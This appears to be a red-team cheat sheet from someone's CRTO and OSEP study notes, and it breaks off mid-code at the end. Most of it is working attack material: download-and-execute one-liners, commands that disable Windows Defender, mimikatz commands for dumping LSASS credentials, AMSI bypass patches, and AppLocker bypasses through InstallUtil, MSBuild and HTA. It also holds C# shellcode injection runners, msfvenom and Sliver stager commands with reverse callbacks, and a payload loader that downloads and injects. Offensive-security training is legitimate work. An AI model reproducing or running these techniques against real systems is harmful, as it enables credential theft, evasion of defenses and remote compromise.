Useful pentest tips and tools.
See [[crto 1/README|CRTO 1]] (Obsidian) or CRTO 1 (Github)
See [[crto 2/README|CRTO 2]] (Obsidian) or CRTO 2 (Github)
See [[osep/README|OSEP]] (Obsidian) or OSEP (Github)
Coming soon...
Tips & tricks.
Progra~1
Progra~2 x86
https://github.com/ycdxsb/WindowsPrivilegeEscalation
To Base64:
$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes("./shell.exe"))
From Base64:
$decodedBytes1 = [System.Convert]::FromBase64String($fileContent)
$stringFromBase64 = [System.Text.Encoding]::UTF8.GetString($decodedBytes1)
Read file from base64 and decode it:
$fileContent = Get-Content -Path "shell.exe"
$decodedBytes1 = [System.Convert]::FromBase64String($fileContent)
$decodedText1 = [System.Text.Encoding]::UTF8.GetString($decodedBytes1)
Read to bytes and base64 encode:
$fileContent = Get-Content -Path "shell.exe"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$encodedCommand = [Convert]::ToBase64String($bytes)
Reverse:
$fileContent = [System.IO.File]::ReadAllBytes("shell.exe")
[Array]::Reverse($fileContent)
powershell IWR -Uri http://<ip>:<port>/ -Outfile c:\<file>
powershell Invoke-WebRequest -Uri http://<ip>:<port>/ -Outfile c:\<file>
certutil.exe -urlcache -f http://<ip>:<port>/<file> <file>
bitsadmin.exe /create 1 bitsadmin /addfile 1 http://<ip>:<port>/<file> <file> bitsadmin /RESUME 1 bitsadmin /complete 1
bitsadmin.exe /transfer myDownloadJob http://<ip>:<port>/<file> <file>
iex(New-Object net.webclient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1")
$wp=(New-Object net.webclient).DownloadData("http://<ip>:<port>/<file>")
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "http://<ip>:<port>/<file>" -UseBasicParsing | Select-Object -ExpandProperty Content));
Get-MpComputerStatus
cmd /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
OR
Set-MpPreference -DisableRealtimeMonitoring $true
OR
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
$ExecutionContext.SessionState.LanguageMode
Powershell -version 2
OR
https://github.com/padovah4ck/PSByPassCLM
https://github.com/danielbohannon/Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
https://github.com/klezVirus/chameleon
# Function to XOR a file
function XOR-File {
param (
[string]$InputFile,
[string]$OutputFile,
[byte[]]$Key
)
# Read the file content as bytes
$fileBytes = [System.IO.File]::ReadAllBytes($InputFile)
# XOR each byte with the key
for ($i = 0; $i -lt $fileBytes.Length; $i++) {
$fileBytes[$i] = $fileBytes[$i] -bxor $Key[$i % $Key.Length]
}
# Write the result to the output file
[System.IO.File]::WriteAllBytes($OutputFile, $fileBytes)
}
# Example usage
$inputFile = "input.txt"
$outputFile = "output.txt"
$key = [byte[]](0x12, 0x34, 0x56, 0x78) # XOR key
XOR-File -InputFile $inputFile -OutputFile $outputFile -Key $key
Check for SSTI.
${{<%[%'"}}%\.
https://github.com/PowerShellMafia/PowerSploit
git clone https://github.com/PowerShellMafia/PowerSploit.git
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries (Rubeus, Seatbelt, Certify, SharpUp, etc) https://github.com/Flangvik/SharpCollection
git clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git
git clone https://github.com/Flangvik/SharpCollection.git
Good commands to have.
token::elevate
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
sekurlsa::dpapi
lsadump::sam
lsadump::secrets
lsadump::cache
kerberos::list
Bypass PPL, make sure mimidrv.sys is in the same folder as mimikatz:
token::elevate
!+
!processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
Check if PPL is enabled, RunAsPPL:
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Replace
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
With:
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
Some bypasses: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
Run each line one by one.
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
function MagicBypass {
# Define named parameters
param(
$InitialStart = 0x50000,
$NegativeOffset= 0x50000,
$MaxOffset = 0x1000000,
$ReadBytes = 0x50000
)
$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
public class APIs {
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
public static int Dummy() {
return 1;
}
}
"@
Add-Type $APIs
$InitialDate=Get-Date;
$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')
$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')
$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')
$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)
$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
ForEach-Object {
if($_.Location -ne $null){
$split1 = $_.FullName.Split(",")[0]
If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
$Types = $_.GetTypes()
}
}
}
$Types |
ForEach-Object {
if($_.Name -ne $null){
If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
$Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
}
}
}
$Methods |
ForEach-Object {
if($_.Name -ne $null){
If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
$MethodFound = $_
}
}
}
[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
[IntPtr] $Handle = [APIs]::GetCurrentProcess()
$dummy = 0
$ApiReturn = $false
:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
[IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
$ReadedMemoryArray = [byte[]]::new($ReadBytes)
$ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
$bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArray[$i + 3], $ReadedMemoryArray[$i + 4], $ReadedMemoryArray[$i + 5], $ReadedMemoryArray[$i + 6], $ReadedMemoryArray[$i + 7])
[IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
if ($PointerToCompare -eq $funcAddr) {
Write-Host "Found @ $($i)!"
[IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
break initialloop
}
}
}
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)
$FinishDate=Get-Date;
$TimeElapsed = ($FinishDate - $InitialDate).TotalSeconds;
Write-Host "$TimeElapsed seconds"
}
MagicBypass
Some applocker bypass techniques.
Use InstallUtil to bypass Applocker, see below C# code.
using System;
using System.Text;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Xml.Linq;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello From Main...I Don't Do Anything");
//Add any behaviour here to throw off sandbox execution/analysts :)
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Windows\\Tasks\\test.txt";
//String encoded = ""
//byte[] data = Convert.FromBase64String(encoded);
//String cmd = Encoding.UTF8.GetString(data);
System.IO.StreamWriter file = new System.IO.StreamWriter("c:\\Windows\\Tasks\\test5.txt");
file.WriteLine(cmd);
file.Close();
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
Collection<PSObject> output = ps.Invoke();
if (output != null)
{
Console.WriteLine("Something executed");
}
Console.WriteLine("Made it to the end");
rs.Close();
}
}
}
Build the solution to a bypass.DLL file with Visual Studio.
Alternative way to compile:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\System.Management.Automation.dll /out:powershell.exe InstallUtil-PowerShell.cs
Execute InstallUtil with:
InstallUtil.exe /logfile= /LogToConsole=false /U bypass.dll
Put the following code in a bypass.xml file.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
String cmd = @"echo test > c:\users\haha150\desktop\test.txt";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Build the bypass.xml.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe bypass.xml
OR
Put it in a .hta file, base64 encode bypass.xml and put it after "echo".
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var re = shell.Run("powershell -windowstyle hidden echo PFByb2plY...etc > c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\d.xml;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe C:\\windows\\temp\\d.xml")
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
Save the file to a .hta file, htafile.hta.
$assem = [System.Reflection.Assembly]::LoadFrom('C:\Users\user\Desktop\ClassLibrary2.dll')
$class = $assem.GetType('Sliver_stager.Program')
$method = $class.GetMethod("DownloadAndExecute")
$method.Invoke(0, $null)
Shellcode runners in C sharp.
using System;
using System.Runtime.InteropServices;
namespace Inject
{
public class Inject
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static void Main(string[] args)
{
var shellcode = "...";
IntPtr hProcess = OpenProcess(0x1F0FFF, false, int.Parse(args[0]));
IntPtr alloc = VirtualAllocEx(hProcess, IntPtr.Zero, (UInt32)(shellcode.Length), 0x00001000, 0x40);
UIntPtr bytesWritten;
WriteProcessMemory(hProcess, alloc , shellcode, (UInt32)(shellcode.Length), out bytesWritten);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, alloc , IntPtr.Zero, 0,IntPtr.Zero);
}
}
}
using System;
using System.Linq;
using System.Runtime.InteropServices;
using static ShellcodeInjection.Imports;
namespace ShellcodeInjection
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("Please enter a process ID...");
Console.WriteLine("Usage: shellcodeinjection.exe [process id]");
return;
}
var desiredAccess = Process.PROCESS_CREATE_THREAD | Process.PROCESS_QUERY_INFORMATION | Process.PROCESS_VM_OPERATION | Process.PROCESS_VM_READ | Process.PROCESS_VM_WRITE;
// msfvenom -p windows/exec CMD=calc.exe -f csharp
byte[] x86_shellcode = new byte[193] {
0xfc,0xe8,0x82,0x00,... }; ;
// msfvenom - p windows/x64/exec CMD = calc.exe - f csharp
byte[] x64_shellcode = new byte[276] {
0xfc,0x48,0x83,... }; ;
IntPtr procHandle = OpenProcess((uint)desiredAccess, false, Convert.ToUInt32(args[0]));
// currently only runs x64 shell code so the process needs to be x64. Need to fix this.
if (IntPtr.Size == 8)
{
int shellcode_size = x64_shellcode.Length;
int bytesWritten = 0;
int lpthreadIP = 0;
IntPtr init = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode_size, (uint)State.MEM_COMMIT | (uint)State.MEM_RESERVE, (uint)Protection.PAGE_EXECUTE_READWRITE);
WriteProcessMemory(procHandle, init, x64_shellcode, shellcode_size, ref bytesWritten);
IntPtr threadPTR = CreateRemoteThread(procHandle, IntPtr.Zero, 0, init, IntPtr.Zero, 0, ref lpthreadIP);
}
else if (IntPtr.Size != 8)
{
int shellcode_size = x86_shellcode.Length;
int bytesWritten = 0;
int lpthreadIP = 0;
IntPtr init = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode_size, (uint)State.MEM_COMMIT | (uint)State.MEM_RESERVE, (uint)Protection.PAGE_EXECUTE_READWRITE);
WriteProcessMemory(procHandle, init, x86_shellcode, shellcode_size, ref bytesWritten);
IntPtr threadPTR = CreateRemoteThread(procHandle, IntPtr.Zero, 0, init, IntPtr.Zero, 0, ref lpthreadIP);
}
}
}
class Imports
{
#region imports
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref int lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId);
#endregion
#region const
public enum State
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000
}
public enum Protection
{
PAGE_EXECUTE_READWRITE = 0x40
}
public enum Process
{
PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020
}
#endregion
}
}
To get this import to work, we have to build SharpSploit.
git clone https://github.com/cobbr/SharpSploit.git
Open project in Visual Studio.
Project -> Edit project file
Change net40 to net35 and remove net40
Build -> Build SharpSploit
Now you can import SharpSploit.dll to your projects
References -> Add reference -> browe to SharpSploit.dll
using System;
using System.Linq;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using SharpSploit.Execution.DynamicInvoke;
namespace Inject
{
public static class Inject
{
public static void Main(string[] args)
{
var shellcode = "...";
// OpenProcess
var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess");
var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[0]));
// VirtualAllocEx
pointer = Generic.GetLibraryAddress("kernel32.dll", "VirtualAllocEx");
var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(VirtualAllocEx)) as VirtualAllocEx;
var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (UInt32)shellcode.Length, 0x1000 | 0x2000, 0x40);
// WriteProcessMemory
UInt32 bytesWritten = 0;
pointer = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(WriteProcessMemory)) as WriteProcessMemory;
var written = writeProcessMemory(hProcess, alloc, shellcode, (UInt32)shellcode.Length, out bytesWritten);
// CreateRemoteThread
UInt32 bytesWritten = 0;
pointer = Generic.GetLibraryAddress("kernel32.dll", "CreateRemoteThread");
var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(CreateRemoteThread)) as CreateRemoteThread;
var written = createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UInt32 lpNumberOfBytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
using System;
using System.Linq;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using SharpSploit.Execution.DynamicInvoke;
namespace Inject
{
public static class Inject
{
public static void Main(string[] args)
{
DLL k32 = new DLL("kernel32.dll");
var openProcess = k32.ChaseFunction("OpenProcess") as OpenProcess;
var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[0]));
var shellcode = "...";
var virtualAllocEx = k32.ChaseFunction("VirtualAllocEx") as VirtualAllocEx;
var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (UInt32)shellcode.Length, 0x3000, 0x40);
UInt32 bytesWritten = 0;
var writeProcessMemory = k32.ChaseFunction("WriteProcessMemory") as WriteProcessMemory;
writeProcessMemory(hProcess, alloc, shellcode, (UInt32)shellcode.Length, out bytesWritten);
var createRemoteThread = k32.ChaseFunction("CreateRemoteThread") as CreateRemoteThread;
createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UInt32 lpNumberOfBytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
internal class DLL
{
public string name;
public object ChaseFunction(string fname)
{
var type = (from assembly in AppDomain.CurrentDomain.GetAssemblies()
from t in assembly.GetTypes()
where t.Name == fname
select t).FirstOrDefault();
this.CheckNull(type, fname + " not found");
var p = Generic.GetLibraryAddress(this.name, fname, true);
this.CheckNullPtr(p, fname);
var x = Marshal.GetDelegateForFunctionPointer(p, type);
this.CheckNull(x, "GetDelegateForFunctionPointer");
return x;
}
public DLL(string name)
{
this.name = name;
}
public void CheckNull(object test, string label) {
if (test == null) {
Console.WriteLine("Error: {0} is null", label);
Environment.Exit(1);
}
}
public void CheckNullPtr(IntPtr test, string label) {
if (test == IntPtr.Zero) {
Console.WriteLine("Error: {0} is INtPtr.Zero", label);
Environment.Exit(1);
}
}
}
}
Some useful Sliver commands.
Some examples for Sliver stagers. Create a profile and stage listener in Sliver.
profiles new --mtls 10.0.0.1 --format shellcode win-shellcode
profiles new --http http://10.0.0.1 --format shellcode win-shellcode
stage-listener --url http://10.0.0.1:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV
DNS:
dns --domains 1.example.com.
generate --dns 1.example.com.
Metasploit (works with hollow):
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=10.0.0.152 LPORT=80 LURI=/hello.woff -f raw -o /tmp/stager.bin
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=10.0.0.152 LPORT=80 LURI=/test.woff -f csharp
stage-listener --url http://10.0.0.152:80 --profile win-shellcode --prepend-size
Important: Make sure you explicitly compile for x64 in visual Studio.
Shellcode:
generate -f shellcode --mtls 10.0.0.1:8888 -G --skip-symbols
mv xx.bin buf
xxd -i buf > shell.txt
head shell.txt
tail shell.txt
Some good stagers.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.IO.Compression;
namespace Sl1verLoader
{
public class Program
{
private static string AESKey;
private static string AESIV;
[StructLayout(LayoutKind.Sequential)]
public class SecurityAttributes
{
public Int32 Length = 0;
public IntPtr lpSecurityDescriptor = IntPtr.Zero;
public bool bInheritHandle = false;
public SecurityAttributes()
{
this.Length = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct ProcessInformation
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessId;
public Int32 dwThreadId;
}
[Flags]
public enum CreateProcessFlags : uint
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}
[StructLayout(LayoutKind.Sequential)]
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
public IntPtr lpDesktop = IntPtr.Zero;
public IntPtr lpTitle = IntPtr.Zero;
public Int32 dwX = 0;
public Int32 dwY = 0;
public Int32 dwXSize = 0;
public Int32 dwYSize = 0;
public Int32 dwXCountChars = 0;
public Int32 dwYCountChars = 0;
public Int32 dwFillAttribute = 0;
public Int32 dwFlags = 0;
public Int16 wShowWindow = 0;
public Int16 cbReserved2 = 0;
public IntPtr lpReserved2 = IntPtr.Zero;
public IntPtr hStdInput = IntPtr.Zero;
public IntPtr hStdOutput = IntPtr.Zero;
public IntPtr hStdError = IntPtr.Zero;
public StartupInfo()
{
this.cb = Marshal.SizeOf(this);
}
}
[DllImport("kernel32.dll")]
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
String lpCurrentDirectory,
[In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation
);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 MEM_COMMIT = 0x1000;
public static void DownloadAndExecute(string url, string TargetBinary, string CompressionAlgorithm, byte[] AESKey, byte[] AESIV)
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new WebClientWithTimeout();
byte[] encrypted = client.DownloadData(url);
List<byte> l = new List<byte> { };
byte[] actual;
byte[] compressed;
if (AESKey != null && AESIV != null)
{
for (int i = 16; i <= encrypted.Length - 1; i++)
{
l.Add(encrypted[i]);
}
actual = l.ToArray();
compressed = Decrypt(actual, AESKey, AESIV);
}
else
{
compressed = encrypted;
}
byte[] sc = Decompress(compressed, CompressionAlgorithm);
string binary = TargetBinary;
Int32 size = sc.Length;
StartupInfo sInfo = new StartupInfo();
sInfo.dwFlags = 0;
